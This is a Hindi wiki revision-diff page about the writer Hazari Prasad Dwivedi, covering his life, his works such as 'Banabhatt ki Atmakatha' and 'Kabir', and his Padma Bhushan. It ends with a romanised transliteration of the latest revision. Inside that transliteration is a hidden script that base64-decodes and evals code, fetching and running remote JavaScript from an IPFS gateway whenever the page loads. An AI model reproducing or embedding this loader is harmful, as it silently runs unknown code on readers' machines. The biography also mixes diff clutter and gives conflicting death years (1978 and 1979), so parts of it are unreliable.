Difference between revisions of "हज़ारी प्रसाद द्विवेदी"

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'''डॉ. हज़ारी प्रसाद द्विवेदी''' ([[अंग्रेज़ी]]: ''Hazari Prasad Dwivedi'', जन्म: [[19 अगस्त]], [[1907]] - मृत्यु: [[19 मई]], [[1979]]) [[हिन्दी]] के शीर्षस्थ साहित्यकारों में से हैं। वे उच्चकोटि के निबन्धकार, [[उपन्यासकार]], आलोचक, चिन्तक तथा शोधकर्ता हैं। साहित्य के इन सभी क्षेत्रों में द्विवेदी जी अपनी प्रतिभा और विशिष्ट कर्तव्य के कारण विशेष यश के भागी हुए हैं। द्विवेदी जी का व्यक्तित्व गरिमामय, चित्तवृत्ति उदार और दृष्टिकोण व्यापक है। द्विवेदी जी की प्रत्येक रचना पर उनके इस व्यक्तित्व की छाप देखी जा सकती है।  
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हज़ारी प्रसाद द्विवेदी का जन्म 19 अगस्त, 1907 ([[श्रावण]], [[शुक्ल पक्ष]], [[एकादशी]], [[संवत]] [[1964]]) में बलिया ज़िले के 'आरत दुबे का छपरा' [[गाँव]] के एक प्रतिष्ठित सरयूपारीण [[ब्राह्मण]] कुल में हुआ था। उनके [[पिता]] पण्डित अनमोल द्विवेदी [[संस्कृत]] के प्रकाण्ड पंडित थे। द्विवेदी जी के प्रपितामह ने [[काशी]] में कई [[वर्ष|वर्षों]] तक रहकर ज्योतिष का गम्भीर अध्ययन किया था। द्विवेदी जी की [[माता]] भी प्रसिद्ध पण्डित कुल की [[कन्या]] थीं। इस तरह बालक द्विवेदी को [[संस्कृत]] के अध्ययन का संस्कार विरासत में ही मिल गया था।
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सन [[1930]] में इंटर की परीक्षा उत्तीर्ण करने बाद द्विवेदी जी प्राध्यापक होकर [[शान्ति निकेतन]] चले गये। सन् [[1940]] से [[1950]] ई. तक वे वहाँ पर हिन्दी भवन के निर्देशक के पद पर काम करते रहे। [[शान्ति निकेतन]] में [[रवीन्द्र नाथ टैगोर]] के घनिष्ठ सम्पर्क में आने पर नये मानवतावाद के प्रति उनके मन में जिस आस्था की प्रतिष्ठा हुई, वह उनके भावी विकास में बहुत ही सहायक बनी। [[क्षितिजमोहन सेन]], विधुशेखर भट्टाचार्य और [[बनारसीदास चतुर्वेदी]] की सन्निकटता से भी उनकी साहित्यिक गतिविधि में अधिक सक्रियता आयी।
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==भाषा-शैली==
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{{main|हज़ारी प्रसाद द्विवेदी की भाषा-शैली}}
|कर्म भूमि=[[वाराणसी]]
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द्विवेदी जी की [[भाषा]] परिमार्जित [[खड़ी बोली]] है। उन्होंने भाव और विषय के अनुसार [[भाषा]] का चयनित प्रयोग किया है। उनकी भाषा के दो रूप दिखलाई पड़ते हैं-
|कर्म-क्षेत्र=निबन्धकार, [[उपन्यासकार]], अध्यापक, सम्पादक
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#प्रांजल व्यावहारिक भाषा
|मुख्य रचनाएँ=सूर साहित्य, बाणभट्ट, कबीर, अशोक के फूल, हिन्दी साहित्य की भूमिका, हिन्दी साहित्य का आदिकाल, नाथ सम्प्रदाय, पृथ्वीराज रासो
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#संस्कृतनिष्ठ शास्त्रीय भाषा
|विषय=निबन्ध, कहानी, उपन्यास
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==वर्ण्य विषय==
|भाषा=[[हिन्दी भाषा|हिन्दी]]
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{{main|हज़ारी प्रसाद द्विवेदी के वर्ण्य-विषय}}
|विद्यालय=[[काशी हिन्दू विश्वविद्यालय]]
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द्विवेदी जी के [[निबंध|निबंधों]] के विषय [[भारतीय संस्कृति]], [[इतिहास]], [[ज्योतिष]], [[साहित्य]], विविध [[धर्म|धर्मों]] और संप्रदायों का विवेचन आदि है। वर्गीकरण की दृष्टि से द्विवेदी जी के [[निबंध]] दो भागों में विभाजित किए जा सकते हैं-
|शिक्षा=बारहवीं
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#विचारात्मक निबंध
|पुरस्कार-उपाधि=[[पद्म भूषण]]
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#आलोचनात्मक निबंध
|प्रसिद्धि=
 
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'''डॉ. हजारी प्रसाद द्विवेदी''' (जन्म- [[19 अगस्त]], [[1907]] ई., गाँव 'आरत दुबे का छपरा', [[बलिया ज़िला]], [[भारत]]; मृत्यु- सन [[1978]] ई.) [[हिन्दी]] के शीर्षस्थानीय साहित्यकारों में से हैं। वे उच्चकोटि के निबन्धकार, [[उपन्यासकार]], आलोचक, चिन्तक तथा शोधकर्ता हैं। साहित्य के इन सभी क्षेत्रों में द्विवेदी जी अपनी प्रतिभा और विशिष्ट कर्तव्य के कारण विशेष यश के भागी हुए हैं। द्विवेदी जी का व्यक्तित्व गरिमामय, चित्तवृत्ति उदार और दृष्टिकोण व्यापक है। द्विवेदी जी की प्रत्येक रचना पर उनके इस व्यक्तित्व की छाप देखी जा सकती है।  
 
==जीवन परिचय==
 
हजारी प्रसाद द्विवेदी का जन्म 19 अगस्त, 1907 ई. (श्रावण, शुक्ल पक्ष एकादशी, संवत [[1964]]) में बलिया ज़िले के 'आरत दुबे का छपरा' गाँव के एक प्रतिष्ठित सरयूपारीण ब्राह्मण कुल में हुआ था। द्विवेदी जी के प्रपितामह ने [[काशी]] में कई वर्षों तक रहकर ज्योतिष का गम्भीर अध्ययन किया था। द्विवेदी जी की माता भी प्रसिद्ध पण्डित कुल की कन्या थीं। इस तरह बालक द्विवेदी को [[संस्कृत भाषा|संस्कृत]] के अध्ययन का संस्कार विरासत में ही मिल गया था।  
 
==शिक्षा==
 
द्विवेदी जी ने अपनी पारिवारिक परम्परा के अनुसार संस्कृत पढ़ना आरम्भ किया और सन [[1930]] ई. में [[काशी हिन्दू विश्वविद्यालय]] से ज्योतिषाचार्य तथा इण्टर की परीक्षाएँ उत्तीर्ण कीं।
 
==जीवन-दर्शन का निर्माण==
 
सन 1930 में इंटर की परीक्षा उत्तीर्ण करने बाद द्विवेदी जी प्राध्यापक होकर [[शान्ति निकेतन]] चले गये। सन [[1940]] से [[1950]] ई. तक वे वहाँ पर हिन्दी भवन के डाइरेक्टर के पद पर काम करते रहे। शान्ति निकेतन में [[रवीन्द्र नाथ टैगोर]] के घनिष्ठ सम्पर्क में आने पर नये मानवतावाद के प्रति उनके मन में जिस आस्था की प्रतिष्ठा हुई, वह उनके भावी विकास में बहुत ही सहायक बनी। क्षितिमोहन सेन, विधुशेखर भट्टाचार्य और बनारसी दास चतुर्वेदी की सन्निकटा से भी उनकी साहित्यिक गतिविधि में अधिक सक्रियता आयी। शान्ति निकेतन में द्विवेदी जी को अध्ययन-चिन्तन का निर्बाध अवकाश मिला। वास्तव में वहाँ के शान्त और अध्ययनपूर्ण वातावरण में ही द्विवेदी जी के आस्था-विश्वास, जीवन-दर्शन आदि का निर्माण हुआ, जो उनके साहित्य में सर्वत्र प्रतिफलित हुआ है।
 
 
 
सन 1950 ई. में काशी हिन्दू विश्वविद्यालय के तत्कालीन कुलपति के अनुरोध और आमंत्रण पर द्विवेदी जी हिन्दी विभाग के अध्यक्ष और प्रोफ़ेसर होकर वहाँ चले गए। इसके एक वर्ष पूर्व सन [[1949]] ई. में लखनऊ विश्वविद्यालय ने उनकी हिन्दी की महत्त्वपूर्ण सेवा के कारण उन्हें डी. लिट्. की सम्मानित उपाधि (ऑनरिस काजा) प्रदान की थी। सन [[1955]] ई. में वे प्रथम 'ऑफ़िशियल लैंग्वेज कमीशन' के सदस्य चुने गये। सन [[1957]] ई. में भारत सरकार ने उनकी विद्धत्ता और साहित्यिक सेवाओं को ध्यान में रखते हुए उन्हें 'पद्मभूषण' की उपाधि से अलंकृत किया। [[1958]] ई. में वे नेशनल बुक ट्रस्ट के सदस्य बनाये गए। द्विवेदी जी कई वर्षों तक [[काशी नागरी प्रचारिणी सभा]] के उपसभापति, खोज विभाग के निर्देशक तथा 'नागरी प्रचारिणी पत्रिका' के सम्पादक रहे हैं। सन [[1960]] ई. में पंजाब विश्वविद्यालय के कुलपति के आमंत्रण पर वे वहाँ के हिन्दी विभाग के अध्यक्ष और प्रोफ़ेसर होकर [[चण्डीगढ़]] चले गये। सन [[1968]] ई. में ये फिर काशी हिन्दू विश्वविद्यालय में बुला लिये गए और वहाँ रेक्टर नियुक्त हुए और फिर वहीं हिन्दी के ऐतिहासिक व्याकरण विभाग के निर्देशक नियुक्त हुए। वह काम समाप्त होने पर [[उत्तर प्रदेश]], हिन्दी ग्रन्थ अकादमी के अध्यक्ष हुए।
 
 
 
==हिन्दी समीक्षा को नयी दिशा==
 
द्विवेदी जी आचार्य [[रामचन्द्र शुक्ल]] की परम्परा के आलोचक हैं, फिर भी साहित्य को एक अविच्छिन्न विकास-परम्परा देखने पर बल देकर द्विवेदी जी ने हिन्दी समीक्षा को नयी दिशा दी। साहित्य के इस नैरन्तर्य का विशेष ध्यान रखते हुए भी वे लोक-चेतना को कभी अपनी दृष्टि से ओझल नहीं होने देते। वे मनुष्य की श्रेष्ठता के विश्वासी हैं और उच्चकोटि के साहित्य में इसकी प्रतिष्ठा को वे अनिवार्य मानते हैं। संस्कारजन्य क्षुद्र सीमाओं में बँधकर साहित्य ऊँचा नहीं उठ सकता। अपेक्षित ऊँचाई प्राप्त करने के लिए उसे मनुष्य की विराट एकता और जिजीविषा को आयत्त करना होगा। द्विवेदी जी ने चाहे काल विशेष के सम्बन्ध में, उन्होंने अपनी आलोचनाओं में यह बराबर ध्यान रखा है कि आलोच्य युग या कवि ने किन श्रेयस्कर माननीय मूल्यों की सृष्टि की है। कोई चाहे तो उन्हें मूल्यान्वेषी आलोचक कह सकता है, पर वे आप्त मूल्यों की अडिगता में विश्वास नहीं करते। उनकी दृष्टि में मूल्य बराबर विकसनशील होता है, उसमें पूर्ववर्ती और पार्श्ववर्ती चिन्तन का मिश्रण होता है। संस्कृत, अपभ्रंश आदि के गम्भीर अध्येता होने के कारण वे साहित्य की सुदीर्घ परम्परा का आलोड़न करते हुए विकासशील मूल्यों का सहज ही आकलन कर लेते हैं।
 
 
 
 
==कृतियाँ==
 
==कृतियाँ==
{| class="bharattable-purple" border="1" align="right"
+
{{main|हज़ारी प्रसाद द्विवेदी की कृतियाँ}}
|+ प्रमुख कृतियाँ
+
हज़ारी प्रसाद द्विवेदी जी की कुछ कृतियाँ निम्नलिखित हैं-
|-
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;हिन्दी साहित्य की भूमिका
! सन
+
'हिन्दी साहित्य की भूमिका' उनके सिद्धान्तों की बुनियादी पुस्तक है। जिसमें [[साहित्य]] को एक अविच्छिन्न परम्परा तथा उसमें प्रतिफलित क्रिया-प्रतिक्रियाओं के रूप में देखा गया है। नवीन दिशा-निर्देश की दृष्टि से इस पुस्तक का ऐतिहासिक महत्व है।
! कृति
+
[[चित्र:Hazari-Prasad-Dwivedi-Stamp.jpg|thumb|250px|[[डाक टिकट]] पर हज़ारी प्रसाद द्विवेदी]]
|-
+
==उपलब्धियाँ तथा पुरस्कार==
| 1936
+
{{main|हज़ारी प्रसाद द्विवेदी की उपलब्धियाँ तथा पुरस्कार}}
| सूर साहित्य
+
प्रमुख रूप से आलोचक, [[इतिहासकार]] और निबंधकार के रूप में प्रख्यात द्विवेजी जी की कवि हृदयता यूं तो उनके [[उपन्यास]], [[निबंध]] और आलोचना के साथ-साथ [[इतिहास]] में भी देखी जा सकती है, लेकिन एक तथ्य यह भी है कि उन्होंने बड़ी मात्रा में कविताएँ लिखी हैं। हज़ारी प्रसाद द्विवेदी को [[भारत सरकार]] ने उनकी विद्वत्ता और साहित्यिक सेवाओं को ध्यान में रखते हुए साहित्य एवं शिक्षा के क्षेत्र में [[1957]] में '[[पद्म भूषण]]' से सम्मानित किया था।
|-
 
| 1940
 
| हिन्दी साहित्य की भूमिका
 
|-
 
| 1940
 
| प्राचीन भारत में कलात्मक विनोद
 
|-
 
| 1942
 
| कबीर
 
|-
 
| 1947
 
| बाणभट्ट की आत्मकथा
 
|-
 
| 1948
 
| अशोक के फूल
 
|-
 
| 1950
 
| नाथ सम्प्रदाय
 
|-
 
| 1951
 
| कल्पलता
 
|-
 
| 1952
 
| हिन्दी साहित्य
 
|-
 
| 1954
 
| विचार और वितर्क
 
|-
 
| 1957
 
| नाथ सिद्धों की बानियाँ
 
|-
 
| 1957
 
| मेघदूत: एक पुरानी कहानी
 
|-
 
| 1959
 
| विचार प्रवाह
 
|-
 
| 1960
 
| सन्देशरासक
 
|-
 
|
 
| पृथ्वीराज रासो
 
|-
 
| 1967
 
| कालिदास की लालित्य योजना
 
|-
 
| 1970
 
| मध्ययुगीन बोध
 
|-
 
| 1971
 
| आलोक पर्व
 
|}
 
हजारी प्रसाद द्विवेदी जी की कुछ कृतियाँ निम्नलिखित हैं।
 
====<u>हिन्दी साहित्य की भूमिका</u>====
 
'हिन्दी साहित्य की भूमिका' उनके सिद्धान्तों की बुनियादी पुस्तक है। जिसमें साहित्य को एक अविच्छिन्न परम्परा तथा उसमें प्रतिफलित क्रिया-प्रतिक्रियाओं के रूप में देखा गया है। नवीन दिशा-निर्देश की दृष्टि से इस पुस्तक का ऐतिहासिक महत्त्व है।  
 
====<u>कबीर</u>====
 
अपने फक्कड़ व्यक्तित्व, घर फूँक मस्ती और और क्रान्तिकारी विचारधारा के कारण कबीर ने उन्हें विशेष आकृष्ट किया। 'कबीर' पुस्तक में उन्होंने जिस सांस्कृतिक परम्परा, समसामयिक वातावरण और नवीन मूल्यानुचिन्तन का उदघाटन किया है, वह उनकी उपरिलिखित आलोचनात्मक दृष्टि के सर्वथा मेल में है।
 
====<u>हिन्दी साहित्य का आदिकाल</u>====
 
'हिन्दी साहित्य का आदिकाल' में द्विवेदी जी ने नवीन उपलब्ध सामग्री के आधार पर जो शोधपरक विश्लेषण प्रस्तुत किया है, उससे हिन्दी साहित्य के इतिहास के पुन: परीक्षण की आवश्यकता महसूस की जा रही है।
 
====<u>नाथ सम्प्रदाय</u>====
 
'नाथ सम्प्रदाय' में सिद्धों और नाथों की उपलब्धियों पर गम्भीर विचार व्यक्त किये गए हैं।
 
====<u>सूर-साहित्य</u>====
 
'सूर-साहित्य' उनकी प्रारम्भिक आलोचनात्मक कृति है, जो आलोचनात्मक उतनी नहीं है, जितनी की भावनात्मक। इनके अतिरिक्त उनके अनेक मार्मिक समीक्षात्मक निबन्ध विभिन्न निबन्ध-संग्रहों में संगृहीत हैं, जो साहित्य के विभिन्न पक्षों का गम्भीर उदघाटन करते हैं।
 
==निबन्ध==
 
द्विवेदी जी जहाँ विद्वत्तापरक अनुसन्धानात्मक निबन्ध लिख सकते हैं, वहाँ श्रेष्ठ निर्बन्ध निबन्धों की सृष्टि भी कर सकते हैं। उनके निर्बन्ध निबन्ध हिन्दी निबन्ध साहित्य की मूल्यवान उपलब्धि है। द्विवेदी जी के व्यक्तित्व में विद्वत्ता और सरसता का, पाण्डित्य और विदग्धता का, गम्भीरता और विनोदमयता का, प्राचीनता और नवीनता का जो अदभुत संयोग मिलता है, वह अन्यत्र दुर्लभ है। इन विरोधाभासी तत्वों से निर्मित उनका व्यक्तित्व ही उनके निर्बन्ध निबन्धों में प्रतिफलित हुआ है। अपने निबन्धों में वे बहुत ही सहज ढंग से, अनौपचारिक रूप में, 'नाख़ून क्यों बढ़ते हैं', 'आम फिर बौरा गए', 'अशोक के फूल', 'एक कुत्ता और एक मैना', 'कुटज' आदि की चर्चा करते हैं, जिससे पाठकों का आनुकूल्य प्राप्त करने में उन्हें कोई कठिनाई नहीं होती। पर उनके निबन्धों का पूर्ण रसास्वादन करने के लिए जगह-जगह बिखरे हुए सांस्कृतिक-साहित्यिक सन्दर्भों को जानना बहुत आवश्यक है। इन सन्दर्भों में उनकी ऐतिहासिक चेतना को देखा जा सकता है, किन्तु सम्पूर्ण निबन्ध पढ़ने के बाद पाठक नये मानवतावादी मूल्यों की उपलब्धि भी करता चलता है। उनमें अतीत के मूल्यों के प्रति सहज ममत्व है, किन्तु नवीन के प्रति कम उत्साह नहीं है।
 
==बाणभट्ट==
 
'बाणभट्ट' की आत्मकथा' द्विवेदी जी का अपने ढंग का असमान्तर उपन्यास है, जो अपने कथ्य तथा शैली के कारण सहृदयों द्वारा विशेष रूप से समादृत हुआ है। यह हिन्दी उपन्यास साहित्य की विशिष्ट उपलब्धि है। इस उपन्यास में उनके विस्तृत और गम्भीर अध्ययन तथा कारयित्री प्रतिभा का अदभुत मिश्रण हुआ है। इसके माध्यम से अपने जीवन-दर्शन के विविध पक्षों को उदघाटित करते हुए उन्होंने इसे वैचारिक दृष्टि से भी विशिष्ट ऊँचाई प्रदान की है। हर्षकालीन जिस विशाल फलक पर बाणभट्ट को चित्रित किया गया है, वह गहन अध्ययन तथा गत्यात्मक ऐतिहासिक चेतना की अपेक्षा रखता है। कहना न होगा कि द्विवदी जी के व्यक्तित्व के निर्माण में इस ऐतिहासिक चेतना का बहुत महत्त्वपूर्ण योग रहा है। यही कारण है कि वे समाज और संस्कृति के विविध आयामों को, उसके सम्पूर्ण परिवेश को, एक आवयविक इकाई (आरगैनिक यूनिटी) में सफलता पूर्वक बाँधने में समर्थ हो सके हैं।
 
 
 
इस उपन्यास में कुछ पात्र, घटनाएँ और प्रसंग इतिहासाश्रित हैं और कुछ काल्पनिक। बाण, हर्ष, कुमार कृष्ण, बाण का घुमक्कड़ के रूप में भटकते फिरना, हर्ष द्वारा तिरस्कृत और सम्मानित होना आदि इतिहास द्वारा अनुमोदित हैं। निपुणिका, भट्टिनी, सुचरिता, महामाया, अवधूत पाद तथा इनसे सम्बद्ध घटनाएँ कल्पना प्रसूत हैं। इतिहास और कल्पना के समुचित विनियोग द्वारा लेखक ने उपन्यास को जो रूप-रंग दिया है, वह बहुत ही आकर्षक बन पड़ा है। इस ऐतिहासिक उपन्यास में मानव-मूल्य की नये मानवतावादी मूल्य की प्रतिष्ठा करना भी लेखक का प्रमुख उद्देश्य रहा है। जिनको लोक 'बण्ड' या कुल भ्रष्ट समझता है, वे भीतर से कितने महान हैं, इसे बाणभट्ट और निपुणिका (निउनिया) में देखा जा सकता है। लोक चेतना या लोक शक्ति को अत्यन्त विश्वासमयी वाणी में महामाया द्वारा जगाया गया है। यह लेखक का अपना विश्वास भी है। द्विवेदी जी प्रेम को सेक्स से उसम्पृक्त न करते हुए भी उसे जिस ऊँचाई पर प्रतिष्ठित करते हैं, वह सर्वथा मनोवैज्ञानिक है। प्रेम के उच्चतर सोपान पर पहुँचने के लिए अपना सब कुछ उत्सर्ग करना पड़ता है। निपुणिका को नारीत्व प्राप्त हुआ तपस्या की अग्नि में जलने पर। बाणभट्ट की प्रतिभा को चार-चाँद लगा प्रेम का उन्नयनात्मक स्वरूप समझने पर। सुचरिता को अभीप्सित की उपलब्धि हुई प्रेम के वासनात्मक स्वरूप की निष्कृति पर। शैली की दृष्टि से यह पारम्परिक स्वच्छन्दतावादी (क्लैसिकल रोमाण्टिक) रचना है। बाणभट्ट की शैली को आधार मानने के कारण लेखक को वर्णन की विस्तृत और संश्लिष्ट पद्धति अपनानी पड़ी है, पर बीच-बीच में उसकी अपनी स्वच्छन्द प्रवृत्ति भी जागरूक रही है, जिससे लम्बी अलंकृत शैली की दुरूहता का बहुत कुछ परिष्कार हो जाता है। उनका दूसरा उपन्यास 'चारुचन्द्रलेख' भी प्रकाशित हो चुका है।
 
==पुरस्कार==
 
हजारी प्रसाद द्विवेदी जी को भारत सरकार ने उनकी विद्धत्ता और साहित्यिक सेवाओं को ध्यान में रखते हुए साहित्य एवं शिक्षा के क्षेत्र में सन [[1957]] में [[पद्म भूषण]] से सम्मानित किया गया था।
 
 
==मृत्यु==
 
==मृत्यु==
हजारी प्रसाद द्विवेदी जी की मृत्यु सन [[1978]] ई. में हुई थी।
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हज़ारी प्रसाद द्विवेदी जी की मृत्यु [[19 मई]], [[1979]] ई. में हुई थी।
  
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==टीका टिप्पणी और संदर्भ==
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<references/>
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==बाहरी कड़ियाँ==
 +
*[http://vle.du.ac.in/mod/book/view.php?id=8477&chapterid=11005 विषय परिचय आचार्य हजारी प्रसाद द्विवेदी]
 +
*[http://xyzhindi.com/2015/08/%E0%A4%B9%E0%A4%9C%E0%A4%BE%E0%A4%B0%E0%A5%80-%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%B8%E0%A4%BE%E0%A4%A6-%E0%A4%A6%E0%A5%8D%E0%A4%B5%E0%A4%BF%E0%A4%B5%E0%A5%87%E0%A4%A6%E0%A5%80-%E0%A4%95%E0%A4%BE.html आचार्य हजारी प्रसाद द्विवेदी का जीवन परिचय]
 +
*[http://www.hindipath.in/2015/08/aacharya-hajariprasad-dvivedi-jeevani.html आचार्य हज़ारी प्रसाद द्विवेदी की जीवनी]
 +
*[http://www.exoticindiaart.com/book/details/collected-essays-of-hazari-prasad-dwivedi-NZD145/ हज़ारीप्रसाद द्विवेदी संकलित निबंध]
 
==संबंधित लेख==
 
==संबंधित लेख==
 
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{{हज़ारी प्रसाद द्विवेदी विषय सूची}}{{शिक्षक}}{{आलोचक एवं समीक्षक}}{{साहित्यकार}}
{{साहित्यकार}}
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[[Category:साहित्यकार]][[Category:साहित्य_कोश]][[Category:उपन्यासकार]]
 
 
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Latest revision as of 09:26, 10 March 2024

hazari prasad dvivedi vishay soochi
hazari prasad dvivedi
poora nam d aau. hazari prasad dvivedi
janm 19 agast, 1907 ee.
janm bhoomi gaanv 'arat dube ka chhapara', baliya zila, uttar pradesh
mrityu 19 mee, 1979
karm bhoomi varanasi
karm-kshetr nibandhakar, upanyasakar, adhyapak, sampadak
mukhy rachanaean soor sahity, banabhatt, kabir, ashok ke phool, hindi sahity ki bhoomika, hindi sahity ka adikal, nath sampraday, prithviraj raso
vishay nibandh, kahani, upanyas, alochana
bhasha hindi
vidyalay kashi hindoo vishvavidyalay
shiksha barahavian
puraskar-upadhi padm bhooshan
nagarikata bharatiy
any janakari dvivedi ji kee varshoan tak kashi nagari pracharini sabha ke upasabhapati, 'khoj vibhag' ke nirdeshak tatha 'nagari pracharini patrika' ke sampadak rahe haian.
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

d aau. hazari prasad dvivedi (aangrezi: Hazari Prasad Dwivedi, janm: 19 agast, 1907 - mrityu: 19 mee, 1979) hindi ke shirshasth sahityakaroan mean se haian. ve uchchakoti ke nibandhakar, upanyasakar, alochak, chintak tatha shodhakarta haian. sahity ke in sabhi kshetroan mean dvivedi ji apani pratibha aur vishisht kartavy ke karan vishesh yash ke bhagi hue haian. dvivedi ji ka vyaktitv garimamay, chittavritti udar aur drishtikon vyapak hai. dvivedi ji ki pratyek rachana par unake is vyaktitv ki chhap dekhi ja sakati hai.

parichay

  1. REDIRECTsaancha:mukhy

hazari prasad dvivedi ka janm 19 agast, 1907 (shravan, shukl paksh, ekadashi, sanvat 1964) mean baliya zile ke 'arat dube ka chhapara' gaanv ke ek pratishthit sarayooparin brahman kul mean hua tha. unake pita pandit anamol dvivedi sanskrit ke prakand pandit the. dvivedi ji ke prapitamah ne kashi mean kee varshoan tak rahakar jyotish ka gambhir adhyayan kiya tha. dvivedi ji ki mata bhi prasiddh pandit kul ki kanya thian. is tarah balak dvivedi ko sanskrit ke adhyayan ka sanskar virasat mean hi mil gaya tha.

karyakshetr

  1. REDIRECTsaancha:mukhy

san 1930 mean iantar ki pariksha uttirn karane bad dvivedi ji pradhyapak hokar shanti niketan chale gaye. sanh 1940 se 1950 ee. tak ve vahaan par hindi bhavan ke nirdeshak ke pad par kam karate rahe. shanti niketan mean ravindr nath taigor ke ghanishth sampark mean ane par naye manavatavad ke prati unake man mean jis astha ki pratishtha huee, vah unake bhavi vikas mean bahut hi sahayak bani. kshitijamohan sen, vidhushekhar bhattachary aur banarasidas chaturvedi ki sannikatata se bhi unaki sahityik gatividhi mean adhik sakriyata ayi.

bhasha-shaili

  1. REDIRECTsaancha:mukhy

dvivedi ji ki bhasha parimarjit kh di boli hai. unhoanne bhav aur vishay ke anusar bhasha ka chayanit prayog kiya hai. unaki bhasha ke do roop dikhalaee p date haian-

  1. praanjal vyavaharik bhasha
  2. sanskritanishth shastriy bhasha

varny vishay

  1. REDIRECTsaancha:mukhy

dvivedi ji ke nibandhoan ke vishay bharatiy sanskriti, itihas, jyotish, sahity, vividh dharmoan aur sanpradayoan ka vivechan adi hai. vargikaran ki drishti se dvivedi ji ke nibandh do bhagoan mean vibhajit kie ja sakate haian-

  1. vicharatmak nibandh
  2. alochanatmak nibandh

kritiyaan

  1. REDIRECTsaancha:mukhy

hazari prasad dvivedi ji ki kuchh kritiyaan nimnalikhit haian-

hindi sahity ki bhoomika

'hindi sahity ki bhoomika' unake siddhantoan ki buniyadi pustak hai. jisamean sahity ko ek avichchhinn parampara tatha usamean pratiphalit kriya-pratikriyaoan ke roop mean dekha gaya hai. navin disha-nirdesh ki drishti se is pustak ka aitihasik mahatv hai. [[chitr:Hazari-Prasad-Dwivedi-Stamp.jpg|thumb|250px|dak tikat par hazari prasad dvivedi]]

upalabdhiyaan tatha puraskar

  1. REDIRECTsaancha:mukhy

pramukh roop se alochak, itihasakar aur nibandhakar ke roop mean prakhyat dviveji ji ki kavi hridayata yooan to unake upanyas, nibandh aur alochana ke sath-sath itihas mean bhi dekhi ja sakati hai, lekin ek tathy yah bhi hai ki unhoanne b di matra mean kavitaean likhi haian. hazari prasad dvivedi ko bharat sarakar ne unaki vidvatta aur sahityik sevaoan ko dhyan mean rakhate hue sahity evan shiksha ke kshetr mean 1957 mean 'padm bhooshan' se sammanit kiya tha.

mrityu

hazari prasad dvivedi ji ki mrityu 19 mee, 1979 ee. mean huee thi.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

hazari prasad dvivedi vishay soochi

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